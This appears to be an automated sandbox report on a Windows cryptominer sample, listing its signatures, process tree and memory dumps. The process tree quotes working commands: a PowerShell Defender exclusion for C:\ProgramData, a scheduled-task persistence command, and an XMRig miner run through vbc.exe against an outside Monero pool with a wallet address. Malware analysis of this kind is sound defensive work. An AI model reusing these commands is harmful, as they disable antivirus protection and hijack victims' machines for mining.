Analysis
- max time kernel
139s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
08/11/2022, 18:25
General
- Target file.exe
- Size 1.2MB
- Sample221108-w2lnaabef2
- SHA256 b302f4f0f0f5f3f86497f005e73154e14afbccc13e1ebdfde664ab258a55cbbc
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 5 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA4C0.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\WindowsMail\AVPTQBAEW.exe"C:\ProgramData\WindowsMail\AVPTQBAEW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1304 -s 37324⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 1304 -ip 13041⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
AVPTQBAEW.exe
AVPTQBAEW.exe
powershell.exe.log
StartupProfileData-NonInteractive
tmpA4C0.tmp.bat
memory/1080-195-0x000001D004C40000-0x000001D004C60000-memory.dmp
memory/1080-191-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-189-0x000001D004AA0000-0x000001D004AC0000-memory.dmp
memory/1080-188-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-187-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-185-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-192-0x000001D004C00000-0x000001D004C40000-memory.dmp
memory/1080-196-0x000001D004C60000-0x000001D004C80000-memory.dmp
memory/1080-197-0x000001D004C40000-0x000001D004C60000-memory.dmp
memory/1080-198-0x000001D004C60000-0x000001D004C80000-memory.dmp
memory/1304-182-0x00007FFB6F840000-0x00007FFB6F87B000-memory.dmp
memory/1304-172-0x00007FFB70550000-0x00007FFB70577000-memory.dmp
memory/1304-194-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1304-193-0x0000000000A40000-0x0000000000BCA000-memory.dmp
memory/1304-190-0x00007FFB4F650000-0x00007FFB4F7BA000-memory.dmp
memory/1304-180-0x00007FFB55FB0000-0x00007FFB560B2000-memory.dmp
memory/1304-181-0x00007FFB71900000-0x00007FFB7196B000-memory.dmp
memory/1304-183-0x0000000000A40000-0x0000000000BCA000-memory.dmp
memory/1304-184-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1304-160-0x00007FFB56470000-0x00007FFB5651A000-memory.dmp
memory/1304-161-0x00007FFB71230000-0x00007FFB712CE000-memory.dmp
memory/1304-162-0x00007FFB6E390000-0x00007FFB6E3A2000-memory.dmp
memory/1304-163-0x00007FFB56320000-0x00007FFB563DD000-memory.dmp
memory/1304-164-0x00007FFB712D0000-0x00007FFB71471000-memory.dmp
memory/1304-165-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1304-166-0x00007FFB71010000-0x00007FFB7103B000-memory.dmp
memory/1304-167-0x0000000000A40000-0x0000000000BCA000-memory.dmp
memory/1304-169-0x0000000000A40000-0x0000000000BCA000-memory.dmp
memory/1304-168-0x0000000002A90000-0x0000000002AD1000-memory.dmp
memory/1304-170-0x00007FFB561D0000-0x00007FFB5631E000-memory.dmp
memory/1304-171-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1304-179-0x00007FFB569F0000-0x00007FFB56A25000-memory.dmp
memory/1504-148-0x00000266EAC80000-0x00000266EACA2000-memory.dmp
memory/1504-155-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1504-154-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/1956-178-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/2232-145-0x00007FFB70550000-0x00007FFB70577000-memory.dmp
memory/2232-138-0x00007FFB56320000-0x00007FFB563DD000-memory.dmp
memory/2232-134-0x00007FFB71230000-0x00007FFB712CE000-memory.dmp
memory/2232-133-0x00007FFB56470000-0x00007FFB5651A000-memory.dmp
memory/2232-150-0x00000000007C0000-0x0000000000801000-memory.dmp
memory/2232-136-0x00000000008E0000-0x0000000000A6A000-memory.dmp
memory/2232-144-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/2232-143-0x00007FFB561D0000-0x00007FFB5631E000-memory.dmp
memory/2232-142-0x00000000008E0000-0x0000000000A6A000-memory.dmp
memory/2232-141-0x00007FFB71010000-0x00007FFB7103B000-memory.dmp
memory/2232-140-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/2232-135-0x00007FFB6E390000-0x00007FFB6E3A2000-memory.dmp
memory/2232-139-0x00007FFB712D0000-0x00007FFB71471000-memory.dmp
memory/2232-137-0x00000000007C0000-0x0000000000801000-memory.dmp
memory/2232-153-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp
memory/2232-149-0x00000000008E0000-0x0000000000A6A000-memory.dmp